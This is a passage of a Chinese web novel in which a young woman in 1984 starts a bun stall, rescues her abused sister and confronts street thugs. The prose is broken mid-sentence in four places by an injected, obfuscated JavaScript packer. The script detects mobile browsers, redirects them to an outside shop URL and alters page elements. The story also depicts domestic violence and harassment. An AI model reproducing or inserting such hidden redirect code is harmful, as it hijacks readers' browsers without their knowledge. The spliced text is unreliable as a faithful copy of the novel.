赵桂花见她满头大汗地搞了这么多东西回来，头都大了，一边拿扇子给她扇风，一边瞧瞧都买了啥。翻看了一圈，算是稍稍放心一些，都是些吃的，也不怕糟践。想卖包子就去吧，多吃点儿苦，就知道大人都是为了他们好了。 林珊把买来的东西归置整齐，把面和好放一边让它发酵去，然后又把家里存着的风干豇豆角和红薯粉条搜了出来。她要做的发面大肉包，其实是荤素馅儿的。用全肉太贵了，现阶段她卖不起。 猪肉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13748432|145383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剁成泥，干豇豆角煮熟剁成碎丁，粉条煮熟彻底切沫，然后放上葱姜，再加入林珊用大葱蒜瓣花椒八角炸出来的熟油，倒上酱油，撒上盐，狠狠搅拌均匀之后，一个香到能跟纯肉媲美的荤素馅料算制作完成了。 赵桂花在一旁看傻了，口水直往外冒：“你什么时候学得这本事？” “我瞎琢磨的，书上说想东西好吃就得舍得放料。”林珊瞎编完，去面盆看了一下，不愧是大夏天，面已经发酵好了。 赵桂花：“我来揉面剂子。” 林珊：“不用，你指挥我就行。” 于是在赵桂花的指挥下，林珊展现了“天才”般的做饭天赋，一说就会，一点就通。不大一会儿三十个面剂子就做好了。 赵桂花开心道：“没想到我闺女这么聪明！” 林珊心虚地笑了笑，让她回屋休息，可她偏要留下来一块儿包包子。拗不过桂花女士，林珊只能假装生疏地开工。不过，她提了要求：“薄皮大馅儿，十八个褶，妈你会吗？” “啥？”赵桂花嫌她事儿多，试着捏了一个，勉强十二个褶。 “也行吧。”林珊不是很满意，下一秒就被桂花敲了脑袋。 包子很快包好，端到厨房上锅开蒸之后，赵桂花还在唠叨：“卖个包子搞那么大干什么，肉馅儿放那么多，谁家这么干都得赔死。” “放心吧，绝对赚。”林珊从集市回来的路上就把账算好了。 她这个大肉包子定价5分一个，比集上纯肉的包子便宜1分，个头又比那个大了两圈，再加上她经过后世早餐店验证过的诱人馅料，绝对不愁卖。 赵桂花的唠叨，在包子出锅的那一刻就消失了。她这辈子都没有吃过这么香的包子，光闻味儿已经缠得口水直流了，再等咬上一口，人差点香晕过去。 薄皮大馅儿就是好吃，不但肉味十足，还带着种说不出来的香，太馋人了！ 刘大娘家的小孙子已经靠在她家门口看了好大一会儿了，任凭他奶奶怎么叫都不回去。 这年头家家紧缺，住一个院儿的即使关系不错，也不会谁家做点儿啥好吃的就拿出来分给邻居，更何况是要拿来卖钱的。 所以赵桂花只当没看见这小家伙，结果她闺女倒好，直接递给大宝一个肉包不说，还另外挑了两个装碗里，给他送家去了。 刘大娘哎呦呦地客气：“这多不好意思啊。” 林珊笑道：“这有啥的，咱一个院儿住着别客气。我以后准备去纱厂门口卖大肉包子，大娘您要是觉得好吃，可得要喊人光顾我啊。” “诶诶诶，一定一定，你这包子肯定好吃，我刚才就问着味儿了！”刘大娘乐呵呵地接过碗，心想这珊丫头果然懂事了，出手也大方，这么大的肉包一下就给了他们三个。 林珊笑着端着空碗回屋，假装没看见林富贵他媳妇儿躲窗户那儿偷看。 这次一共做了三十个包子，除了给出去的，家里留了四个，剩下的全都装进大篮子里。篮子上头用油纸盖着，然后再包上一层没用过的小棉被，这样既能保温，又能隔绝空气。是独属于这个时代的人民智慧。 绑好篮子后，林珊骑着自行车出门了。 5. 第5章 赵桂花原本也想跟着去的，可是后座儿绑着包子，她去就得走路，闺女说啥也不让去。 林珊卡着点儿出门，就是想趁工人下班的时候开卖，这样人更多，更好卖。 纱厂离家不算远，骑车十来分钟就到了。这个点儿刚放工，门口已经有不少摆摊的了。林珊找了个空档，把自行车一停，开始大声吆喝。 “大肉包！新鲜刚出炉的大肉包！比脸还大的大肉包！五分钱一个，五分钱一个！香喷喷的大肉包五分钱一个咯！” 这吆喝声清脆上口，清晰又别致，再加上卖包子的还是个长得特别好看的小姑娘，顿时吸引了不少的目光。 饥肠辘辘的工人们好奇地往这儿看，摆摊的同行们也探头看她，不一会儿就有个大姐围过来了，“你这肉包五分钱一个？” “是的婶子，五分钱一个，不好吃不要钱。”林珊笑着把小棉被掀开，露出一大篮白白胖胖的大包子，她用竹夹子拿出个包子，包上油纸掰开一块递给大婶，“我头一天开张，您是我第一个顾客，先给您尝尝，不好吃不要钱。” “哎呦！”大婶惊喜地接过包子，没想到买肉包还能先尝，其实不用尝她就能闻到香味儿了，等一放进嘴里，人直接震惊：“嗯！！！你这肉包香！真香！馅儿也足，来来来，给我来四个！” “好嘞！”林珊笑着捡了四个包子给大姐装到铝饭盒里，收好钱和票，“好吃您再来啊。” “好！” “我也来俩。”一个大哥递过来一个饭盒。 “好嘞。” 隔壁卖鸡蛋的大娘也凑过来，“小姑娘你这包子个头可真够大的。” “是啊，薄利多销嘛。”林珊送走顾客大哥，从刚才的包子上掰了一块儿递给她，“您也尝尝咱这味儿好不好。” “诶诶。”大娘接过包子尝了起来，惊喜地直点头：“好吃！真好吃！给我也来俩！” “好嘞。”林珊夹了两个包子给大娘放盒子里，转身又把剩下的半个包子，送给另一侧摊位上流口水的小女娃。 “诶呀呀，还不快谢谢姐姐！”卖手工编筐的大叔拉着小孙女道谢，随即也买了两个包子。 “我们也要两个！”一对儿姐妹花推着自行车过来，买了直接吃着走了。 不出一刻钟，林珊这一大篮筐包子就只剩下六个了。她心满意足地收了摊，告诉没买到的客人，她明天早上还来，请大家多捧场。 篮子里这六个包子是她专门留给王大娘的，人家帮了她不少忙，送些吃食是应该的。更何况王大娘和王军一个在街道，一个在派出所，以后万一有求人的地方，也不至于抓瞎。 林珊到王大娘家的时候，她正在做饭。一见这大肉包，立刻惊讶道：“天啊孩子，你这是干啥？” “家里自己做的，给您尝尝味道。上回的事儿，多亏了您和军哥，不然……”林珊话没说完，眼眶已红，跟着哽咽着把自己的摆摊计划说了，“您说的对，没有过不去的坎儿，我不能让我妈担心。我家包子做得好，我就想着靠这个先养活自己。” 王大娘频频点头，赞赏道：“好孩子！你这想法是对的，工作不分贵贱，卖饭又不犯法，好好干！” “包子您就收下吧，尝尝味道，也给我们提提意见。”林珊把包子塞进王大娘怀里，说什么也不让她往外推。 王大娘实在推辞不过就收下了，“孩子，卖饭可不容易，以后有什么困难记得上家来找我。不敢说什么都能解决，但至少有个人能帮你多出出主意。” “好的，谢谢大娘。”林珊感激不尽，虚心听完王大娘的叮嘱，带着鼓鼓的荷包回了家。 赵桂花正焦急地在屋里踱步呢。她担心卖不卖的掉，二丫会不会吆喝，钱算不算得错，票弄不弄得清，操不完的心，还不如也跟着去呢。 正百爪挠心要出门找人的时候，林珊回来了。 “全都卖了！” 赵桂花大喜：“这么快？！” “可不嘛，包子好吃绝对不愁卖，今天咱先简单试试，以后我每天早上50个，下午50个。一天最少卖它100个。”林珊把兜里的钱和票都给了赵桂花，盘算了一下今天买的食材还够用几天。 猪肉还能够两天的量，花椒和盐腌渍一下也不怕坏，粉条和干豆角至少能用一礼拜，面粉还有一大袋子，也能用上好几天。 行，这日子有奔头。等攒够本金，她就去租个铺子，然后拓展一下业务范围。 “珊丫头……”赵桂花算了半天，有点迷糊：“咱要是一天卖100个，一个月能挣多少？” 林珊：“除掉本钱，最少80块。” 赵桂花：“八十？！纱厂的高级老技工一个月也才八十！” 林珊笑了，卖包子辛苦是辛苦点儿，但是来钱还是可以的，这是目前对她来说最好的选择。 其实原本家里有个当兵的，人口还少，是不至于这么穷的。可她爹林老二重病在床很多年，家里欠下一屁股债，大哥这几年的工资，大部分都用来还债也没弄清。现在他一走，赵桂花又一病，家里就更难了。 这用命换来的200块，还清之前的外债后，就剩下六十块多钱了。今天赵桂花给她的十大元里，透着一个老母亲对闺女的宠爱。她自然不能辜负这份爱，要更努力才行。 “等攒够钱，咱们还要开大铺子呢。”林珊给赵桂花画饼。 赵桂花摆着手指头算钱，还是一脸的难以置信：“真能赚这么多？” “以后您就在家数钱吧。”林珊笑着拍拍胸脯，抱着搪瓷缸猛灌水。今天在外头跑了大半天，汗不知道出多少斤了。 赵桂花拿着扇子给她扇风，叮嘱慢慢喝。 林珊灌了个水饱，拿起框里的包子开吃。家里屋子小，通风也不好，都已经快晚上了，还是这么闷热。才吃几口包子，她就又是一身汗了。 真怀念空调啊。不过这时候想空调不现实，还是先买上电风扇再说吧。 第二天天还没亮，林珊就起床了。面昨晚上她已经和好了，酵子是按赵桂花教的比例放的，刚才打开盖子一看，果然发得漂漂亮亮。 肉馅儿需要现调，不过她别名“快手小林”可不是吹的，不一会儿满满一大盆馅儿就做好了。擀皮包馅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13748433|145383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿上锅蒸，一些列活计做完，才六点出头。 等会儿包子一下屉，装车就能去卖了。 今天她还是打算先去纱厂门口，如果消化不掉，就拐到两公里外的服装厂门口卖，总之销路她是不大担心的。 赵桂花今天说什么都要跟着去，林珊拗不过，只好上阵母女兵。 她们到纱厂门口的时候，工人刚要陆陆续续上工，虽然这年头不大时兴在外面吃早饭，不过也有不少偷懒和馋嘴的，她这个肉包子摊儿才刚摆好，就围过来不少人。 “你可算来了，昨天那个大肉包馋坏我了，赶紧给我来两个！”一个小伙子迫不及待地交钱。 “好嘞。”林珊给他夹好包子，让赵桂花收钱收票。 小伙子当场咬上一大口，香得眉飞色舞。 林珊笑了，这人要是生在后世，绝对适合做吃播。 赵桂花也乐出声来：“好吃再来啊。” “嗯嗯，一定一定。”小伙子吃着包子推着车往厂里走，还不忘扭头对林珊笑。 “我们俩一个人一个。”昨天来过的一对姐妹花又来了，还小声问林珊：“没票多少钱？” 林珊：“七分一个。” “那我俩今天不用票了。”高个姑娘笑着说完，直接掏钱。她俩一个月的工资都是39块9，又不用养家，吃几个包子还是没问题的。 很快摊位上的人就越来越多，林珊嘴甜手快，再加上有赵桂花负责收钱找钱，效率更高了。只用了不到一个小时，五十多个包子就卖完了。 回去的路上，赵桂花坐在后车座上，还有点没缓过来，“这就卖完了。” 林珊笑道：“嗯，卖完了，回去我得补上一觉。” “补补补，回去睡到下午妈都不说你。”赵桂花拍了拍林珊的背，觉得自己这个丫头真是懂事了，以前孩子哪受过这罪啊。虽然家里不富裕，但是怎么着也用不着老小出力。珊丫头除了上学，就没干过别的，平时最多洗个碗洗个衣服。 赵桂花红着眼眶擦掉泪，心里说不出什么滋味，先是开心，然后是难受，跟着胸口又满满当当的，感觉这日子好像真的有奔头了。 下午将近60个包子，同样卖得很顺利。晚上清点完钱，赵桂花乐着夸林珊：“咱家姗姗真能干，以前妈就觉得你肯定能成事儿，一看就跟她们不一样。” 林珊笑了，“有点儿夸张啊。” “不夸张不夸张。”赵桂花把林珊拉到身边的凳子上，一边给她扇风，一边感慨：“你现在这么懂事，妈这心里敞亮多了。你哥……他命苦，连、连媳妇都没娶上人就没了，你姐过得也难，我、我——唉……” 赵桂花话没说完就哭了起来，林珊轻轻揽住她的背，安慰道：“我哥在天上看着咱呢，咱得好好活着别让他担心。而且他人这么好，这辈子吃了这么多苦，下辈子肯定要啥有啥、媳妇漂亮能干、儿孙满地都是。至于我姐……我明天去看看她，看看有什么能帮上她的。” 赵桂花擤了把鼻涕，擦掉泪，叹着气点了点头。 第二天早上卖完包子后，林珊直接骑车去了城东找林红。 6. 第6章 林红比林珊大三岁，去年3月结的婚。 她丈夫张强是公交司机，在这个年代嫁给这种铁饭碗，怎么看都是个不错的归宿。 可惜知人知面不知心，就算现在相亲之后能接触一阵儿，也完全看不出一个人的本性。本以为是嫁进了幸福窝子，结果刚结婚一年没怀孕，林红就开始被夫家嫌弃了 她本来性子就软和，被欺负了也不敢说，要不是赵桂花一个住在城东的老姐妹传话，家里还不知道这回事呢。 向来泼辣的赵桂花，直接就杀到张家一通大闹，结果对方不但没跟她对骂，反而好言好语好吃好喝地招待她。张母一口一个老姐姐的叫着，哭着解释他们家是求子求孙心切才闹了误会，压根没有对林红不好，不信让她问林红。 林红也不知道是吓傻了，还是怎么的，居然说自己没被欺负。 结果这么一搞，直接就成了赵桂花的不是，她带着拼命的劲儿去，憋屈难受地回。她心里是不相信林红没被欺负的，但是闺女没怀孕也是真的，除了开始想方设法替她找怀孕方子，暂时也不知道还能怎么样了。 记忆里最近见到林红，还是大哥刚出事的时候。她回家待了几天就被叫走了，母亲住院之后，也只来过一次，然后就消失到现在。 安河市不大，城西跟城东相隔不太远，林珊骑车十多分钟来到了张家门口。路上她还买了些鸡蛋，毕竟算是亲戚，空着手去她反而会变成没礼数的那个。 张家住的地方也是个大杂院，院门大开着，她一边推着车进去，一边喊人：“姐？你在家吗？姐？在家吗？林红？” “谁啊？”张母从门帘后露出个脑袋，在看见林珊的瞬间先是一愣，随即是明显的震惊和慌张，“诶呦呦，是、是红子妹妹啊。” “我来看看我姐。”林珊把车停到墙根，假装没看见这大婶的异常，框里的鸡蛋却不准备往外掏了，慌张成这样必定有鬼。 “你、你姐她吃完饭睡觉呢，这两天有点儿感冒。”张母陪着笑脸从西屋出来，不着痕迹地挡在东屋门口。 林珊送嫁的时候来过一次，知道东屋是林红和张强住的地方，她两步来到门口，垂眼问道：“怎么了婶子？我不能进去？” “不是不是，这不红子才刚睡着，她最近生病睡得不好，咱就不要吵醒她了，你有什么事儿跟我说就行了，走，咱上西屋坐会儿。”说着，直接上手拉林珊往旁边走。 林珊甩开张母，直接推开房门。张母急忙要跟进来，被她一把关在门外。 “诶诶，这是干啥啊！开门！红子妹妹开门！” 林珊直奔卧室，一掀布帘，看见林红鼻青脸肿地半靠在床头，泪流得满脸都是。 饶是她有心理准备，也被这一幕给气炸了。她强压住怒火查看林红的伤，眼眶瘀血，嘴唇劈裂，整张脸肿得认不出五官，胳膊腿上到处都是和淤青和擦伤，脸色蜡黄，眼神充满恐惧。 林珊深吸口气，捞出凳子上的衬衫帮林红穿上，然后找出个大布兜把她的衣服和东西都装进里头，就连当年结婚时候陪嫁的搪瓷盆都没放过。 “珊珊？”林红看出妹妹这是要带自己走，可她不知道该怎么办，只能哭。门被张母拍得当当响，每一下都让她颤抖。 “这屋里还有什么是你的？”林珊问她。 林红茫然地摇头，泪越流越多。 林珊点点头，过来搀她下床：“擦擦泪咱回家了。” “姗姗……我、我——”林红被她扶着下了床，想说点什么，又不知道该怎么开口。 林珊：“姐你站远点儿。” 林红没明白什么意思，结果下一秒就瞧见林珊拿起桌上的小相框，“啪”一下砸得粉碎，然后没等她愣过神来，就见林珊不知道从哪摸出了榔头，一锤砸向全屋最贵的立柜，一下又一下，木头、镜子碎了一地。“哐当”声此起彼伏，屋内的家具倒的倒，烂的烂，但凡有光面的东西，全部稀碎。 屋里叮铃桄榔，外头张母跟疯了似的，疯狂拍打房门，放声大叫。 可惜这个时间上班的都不在家，招来的都是些妇孺。 把屋里砸了个干净后，林珊倏地拉开房门。 张母立刻颤抖地指着她骂：“你疯了？！你凭什么砸人家东西！你不能走！我叫公安抓你！” 林珊没搭理她，直接把林红拉到大家面前。 原本还打算帮腔的老弱妇孺们，一看林红的惨状，各个倒吸口气，不敢吱声了。 林珊把包裹放进车筐，示意林红跟上，然后扭头对张母说：“我姐要跟张强离婚，让他明天带好手续上我家一趟。” “你胡说八道什么！什么离婚！你不能走！站住！红子！红子！你敢出这个家门，以后就别想再进来一步！”张母在院里发疯地喊着，却碍于榔头不敢上前拦。 林珊拽着发懵的林红，头也不回地离开了张家。 路上，林红像是后知后觉明白过来发生了什么似的，惊恐得不行，一直扭头怕张家人追过来。 林珊心里难受，记忆里这个姐姐温柔的不得了，从小就对她特别好，虽然才大了三岁，却总迁是就她。现在亲眼看见她被打成这样，林珊杀了张强的心都有。 “姐你放心，有我和妈在，谁都别想欺负你！”林珊安慰了她两句，直接把车骑到医院。 医生一通检查之后，确认林红多数是皮外伤，骨头没有什么大碍，吃些药休息一阵儿就好了。林珊悬着的心稍稍放下一些。 家暴在后世都件很棘手的事，更何况是现在。婚是离定了，就是张强这个人要怎么收拾需要林珊好好想想。 两人回到家已经是中午了，赵桂花一见林红的惨状，险些晕过去。林珊把她扶进屋里说了一下情况，气得赵桂花又要跟人拼命去。 被拦下来之后，她又骂了半天张强和张家父母，“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13748434|145383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杀千刀的！砸东西便宜他了！一家子没一个好东西！你这死丫头也真是的，受这么大罪为啥不说！呜呜呜……你看给咱打得！”骂着骂着，又开始抱着林红哭。 等俩人哭够了，林珊给林红倒了杯水，先让她吃药。 “姐，你还打算跟张强过吗？”原则上，林珊还是要问问的。 林红本能地摇头，然后又点头，跟着又低下头，一副不知道该怎么办的样子。 赵桂花直接发话：“不过！打成这样了还过什么！” 林珊点点头：“姐，咱不过了。我跟妈永远是你的后盾，你不用委屈自己，不用担心咱过不下去。我跟妈在卖包子，咱这日子有奔头的。” 林红缓缓地抬起头：“包子？” “嗯，大肉包，早上下午都卖，生意还不错。”林珊把自家这门刚起步的小生意说了，然后还不忘给她画饼，“以后咱还要开铺子，住大房子！咱林家的闺女不受这种气，垃圾杂碎配不上咱，以后咱一块儿做生意，肯定能遇见更好的人。” 林红肯定不想跟张强过，她害怕他，也害怕张家人，但她更怕给自己妈妈和妹妹添麻烦，现在见妹妹和妈妈这么说，她心里的犹豫散了不少。 “我、我怕他找过来。”林红想起张强就本能得发抖。 林珊冷哼一声，“我还怕他不找过来呢。” 自家门口还怕他一个外人胡闹？ 于是，吃过午饭后，林珊扶着林红一起去街道找王大姐。街道的人一见这林红这惨状，二话不说就开始讨伐张强。 林珊表明诉求，她们不要别的，只要离婚。街道把妇联的人叫过来一块儿商量，最后拍板表示谁敢阻挠离婚这个事儿，他们一定出面。 出了街道后，林珊又带着林红去了派出所。案是一定要报的，就算达不到关他的目的，也要让张强脱层皮。至少打老婆的名声要闹大，让他单位的人都知道这是个什么货色。 了解完情况后，王军直接带人去抓张强了。不管能不能判，先抓来审审再说。敢欺负他们新兴胡同的人，皮太痒了！ 办完这一系列事儿回到家，赵桂花已经把包子馅都准备好，就等林珊调味了。 林珊把街道和派出所的情况简单一说，开始动手干活。 下午她还是决定要去出摊。一是面上午就已经和好了，买的肉也不能再放了。二是买卖才刚开始，稳定出摊积赞顾客很重要。 反正张强被抓进去一时半会儿出不来，她也不担心对方上家来闹，把赵桂花留在家里陪林红就行了，她自己一个人出摊。 包子出锅后，林珊给家里留了几个，又给王大娘留了几个，其余全部卖了出去。下午的时候生意比早上好，卖的也更快。 她琢磨着等林红好了，让她跟赵桂花固定这一个摊儿，自己推着车去别的地方卖去。不求她们能赚多少钱，单纯给林红找个事做，让她散散心，缓缓劲儿。 7. 第7章 张强是在车站换岗的时候被抓的，王军故意把阵仗弄得挺大，惹来公交站的人集体围观。 张强还拼命地狡辩：“我没打她！她自己摔得！自己摔得！” 王军一脚踹他身上，“摔？你摔一个给我看看，人家现在命都快没了，你还不给我老实交代！带走！” 其他两位同志立刻压起张强走人，王军留下跟他们领导简单说明了一下情况。不出十分钟，整个公交站都知道张强是个什么货色了。 张强这人个头不高，长相挺清秀，平时跟人相处的时候从来没急过眼，看着老实巴交，怎么都不像是那种会打老婆的人，结果没想到动起手来居然这么狠。 林珊也是下午在派出所的时候，才从林红嘴里知道，刚结婚一个月张强就开始打她了。只不过那时候，那畜生每次都打在外人看不见的地方，只要她出一次门就打一次，不准她跟男的说话，不准她跟娘家人来往。 一开始他打完人还会哭着跪着道歉，后来越打越多，越打越理所当然，最后这回连掩饰都不掩饰了，直接把林珊往死里打，就因为她说要去医院看看自己的母亲。 林珊当时冲出去砍了张强的心都有，所里几个男同志听得都开骂了，直接让姐妹俩放心，这杂碎他们“教育”定了。 张强被抓的第二天，张母就带着人找上门了，赵桂花和林珊拿着菜刀和榔头出去拼命，胡同里的人也纷纷出来帮忙，一阵慌乱哭闹之后，张母他们不但人没要出来，还挨了几棍子，吓得落荒而逃。 一个礼拜后，林红在街道和派出所的帮助下顺利离婚，户口也迁回了新兴胡同。张强全程都在里头关着，王军罚了他一百大块，赔偿给林红，又找了各种由头多关了他三个月。期间张强每天都会被各种大哥“亲切问候”，不是爱打老婆吗？自己也尝尝被打得滋味吧。 事情解决之后，赵桂花和林珊在家里置办了两桌，答谢王大娘和王军，以及那天帮忙出力的街坊们。 由于跟林富贵不对付，他们把桌子摆在了自家和刘大娘那一面，每桌六道菜，猪头肉、炖排骨、红烧鱼，外加韭菜鸡蛋和两道素凉菜，主食则是招牌大肉包。男的那桌还有烟和酒。这种配置在84年可以说相当顶了。 王大娘不忍心她们这么破费。 林珊摇摇头，含着泪先是对着王大娘和王军，然后又朝向在座的街坊邻居深深鞠了一躬，“要是没有大家帮忙，我们娘仨现在连命都没了。钱没了还能再挣，人没了可就什么都没了，我、我不知道该怎么说了，大家的恩情我们都记在心里，以后有需要用我的地方，大爷大娘叔叔婶子们尽管开口。” “诶呦呦，珊丫头快坐快坐，搞这些干啥，咱都是街坊，以后有用得到的地方直接喊一嗓子就行。” “是啊，都是自己人客气啥。” “就是就是，快坐，咱珊丫头真是真懂事了。” “是啊桂花，我看啊，你的好日子在后头呢。” 赵桂花抹抹眼泪，看着自己两个闺女，只求她们都能好好的，不被人欺负。 林红也大着胆子，学着林珊对大家鞠了好几个躬，哭得成了个泪人。 王大娘开导了三个人几句，王军也保证张强以后绝对不敢再靠近林红一步。他说话的时候故意放大声音，吓得躲在自家屋里偷听的林爱军一哆嗦。 这回林珊虽然多花了一些钱，但这钱花很值。他们孤儿寡母一时半活儿还离不开这条胡同，跟大家搞好关系还是很有必要的。 晚上送走邻居们后，娘仨躺在一张床上畅想未来。接下来她们只有一个目标——赚大钱。 为了方便以后赵桂花和林红出摊，林珊决定给自家包子摊起个名字，“叫‘爱国大肉包’怎么样？” “啥？”赵桂花险些噎住。 林珊振振有词：“钱是我哥的。他叫爱国，咱这摊就该叫爱国，而且不知道的光看名字，还以为咱这大肉包很爱国呢，好奇过来问问，生意不就上门了？” 赵桂花说不过她，“一天天脑子都想些啥啊。” 林红笑了，觉得这名字挺好。 于是第二天卖完早上那顿，林珊就去找了块白布条，两头用竹竿穿进去，中间用红漆刷上“爱国大肉包”这五个字，她一下做了两个，方便两个摊位使用。 很快纱厂门口的包子摊，就从众人口里的“漂亮小姑娘那儿”，变成了“来俩爱国大肉包尝尝，看看咱能不能更爱国。” 林红身上的伤彻底好清那天，一号摊位正式交给了妈妈和姐姐，看见俩人忙得不亦乐乎，林珊才载着一筐大肉包，插着“爱国”招牌，直奔城西小学门口。 虽然现在是八月底，孩子们都在放暑假，但是城西小学地理位置极好，左后方是罐头厂，右后方是面粉厂，前头又有一大片平房，人流量极大。平时这地方就有很多摊位，林珊寻觅了半天才在一个小角落把车停下。 摘牌一拉，小嗓一开，瞬间吸引了人群注意。 几个小姑娘之前吃过林珊卖的肉包，一见她跑这儿出摊了，立刻过来光顾生意。没买过的，一见这么大这么香的肉包，也痛快买上一个尝尝。 摆摊就怕没人，一旦开了张，接二连三的生意就开始上门了。更何况她这包子又大又好吃，而且还比别人便宜。就算是荤素馅儿的，里头的肉也不比其他人卖的肉包少多少。顾客没有傻的，这年头不好吃不实惠，没人会买你第二遭的。 就这样，“爱国大肉包”凭借味美价廉很快赢得了市场，不但纱厂摊生意红火，城西小学这儿也卖得非常好，甚至有超过纱厂的趋势。 母女三个人每天做包子、卖包子，忙得不亦乐乎。 隔壁的林富贵把这一切都看在眼里，这天吃晚饭的时候，他大儿子林爱民还说起这事儿来着，“我看她们那个包子摊儿是真赚到钱了，厂里好些人都喜欢吃。” 林富贵怎么会不知道这个，他倒是没想到赵桂花还有这本事。 林兰也觉得事情不对劲，上辈子赵桂花这时候已经死了，林红也已经被打死了，现在不但都活得好好的，三个人还卖起了包子。难道……她心里一惊，林珊也是重生的？！ 林富贵看闺女脸色难看，以为她是在为包子摊的事心烦，“孩子，那娘仨再怎么着这辈子也就这样了。咱家的生意虽然不能过明处，但是你放心，一切都好得很。往后就是想天天吃肉，爸妈都供得起。你好好读大学，好好跟清明相处，家里的事儿不用操心。” 林兰点点头，扯出一点笑容来。 九月初的时候，林兰和杨清明启程去首都上大学。临行前，林富贵也在家里摆了一桌，动静闹得极大，来捧场的人极多。 赵桂花在屋里看着，其实是有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13748435|145383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点羡慕的。不过她家闺女虽然不能读大学，但是能挣钱哪。 总共才卖了一个多月的包子，除去本钱她们就已经赚了150多块了。赵桂花乐得合不拢嘴，盘算着这要是卖上半年，得多少钱啊！ 然而，手里这150块还没攥热，就要花出去改房子了。 林珊准备大哥的房间和小厅打通，再做上几个木柜放窗边，这样她们就有了专门的干活区域，还要再改建一下厨房，面积扩出来一些，再添上一个灶台，这样可以两个锅一块儿上蒸，大大缩短准备的时间。 赵桂花心里觉得家里暂时够用，没必要浪费这个钱，但她拗不过林珊，只好看着闺女忙前忙后找人干活，等这一通都搞下来，生生花出去八十几块。可把她心疼坏了。 林珊看着焕然一新的小屋，觉得这钱花得比什么都值。她也爱钱，但是这种花在刀刃上的，能带来更多益处的钱不能叫消费，这叫投资。 果然，这么一收拾之后，三人做包子的效率大增。以前转个弯都能把油瓶碰倒，现在这流水线似的客厅，把一切都安排得紧紧有条，早上她们都能多赖会儿床了。 林珊还盘算等来年三月份的时候，就开始启动租铺子的事。 现在只卖包子太单一，利润是有限的，赚得是辛苦钱。等租了铺子，可以多卖些利润更大的吃食不说，还能上点儿零嘴、饮料和冰棍卖卖。也不用在外头风吹日晒被雨淋了。 下午卖完包子，林珊又去了经常光顾的几家摊铺补了些食材才往回走。 九月初还是很热，没有一点凉快的迹象，林珊不想走大路被夕照狂晒，于是走了小路，结果刚拐进一条胡同，突然从旁边窜出两个小伙子，直接把路堵了。 这俩人单凭走路姿势就能让人送上一句评价——不是正经人。 往路上一站，齐刷刷露出一副“我是恶霸”的表情。 林珊都无语了，这是要劫财还是劫色啊？ 天还大亮着，又是下班时间人来人往的时候，虽然这会儿胡同里没人，但只要一嗓子立刻能钻出五六个脑袋来。来这种地方搞事儿，智商确定有80吗？ “妹子，拿几个钱出来花花！”矮胖子嘴里劫着财，眼睛却直勾勾盯着林珊的胸口，笑得猥琐又弱智：“长得真带劲！听说你卖的包子又大又白，快掏出来给咱看看！” 瘦高个缩着脑袋搓着个手，色眯眯地口水都快流出来了，“快！衣服掀开给咱看看是不是又大又白！赶紧的！” “两位大哥是要买包子吗？”林珊微笑询问，假装没听懂，一边不动声色地摸向框底压着的板砖。 “先拿钱，再拿你身上这俩大包子，快！赶紧主动点儿，今天我不想用强的！”矮胖子自觉还挺绅士。 林珊露出更迷人的微笑，缓缓抽出板砖，正要给离她更近的矮胖子开瓢时，突然看见一个穿军装的大哥正朝这边走过来。 她瞬间改了主意，收回玉手，小声骂道：“毛都没长齐就敢劫道，鸡鸡没一寸还想劫色，你俩行吗傻缺？” “你、你、你——操！”矮胖子没想到会被如此羞辱，暴怒之下直接动手。 林珊一边躲一边放声哭喊：“救命！抢劫啊！救命！快来人——” “不许动！”军人大哥的呵斥瞬间响彻胡同，俩街溜子还没反应过来，就被一阵旋风踹倒在地了。 8. 第8章 要不说这俩人智商不够数呢。 一下被踹倒在地还没意识到严重性，居然还敢骂骂咧咧起来反抗。 于是，林珊就在一旁欣赏了一出擒拿好戏，再没有什么声音比坏蛋的痛苦求饶更悦耳的了。 要不是她需要表现得受到了惊吓，一直得梨花带雨，瑟瑟发抖，肯定早被这两个蠢货给逗笑了。 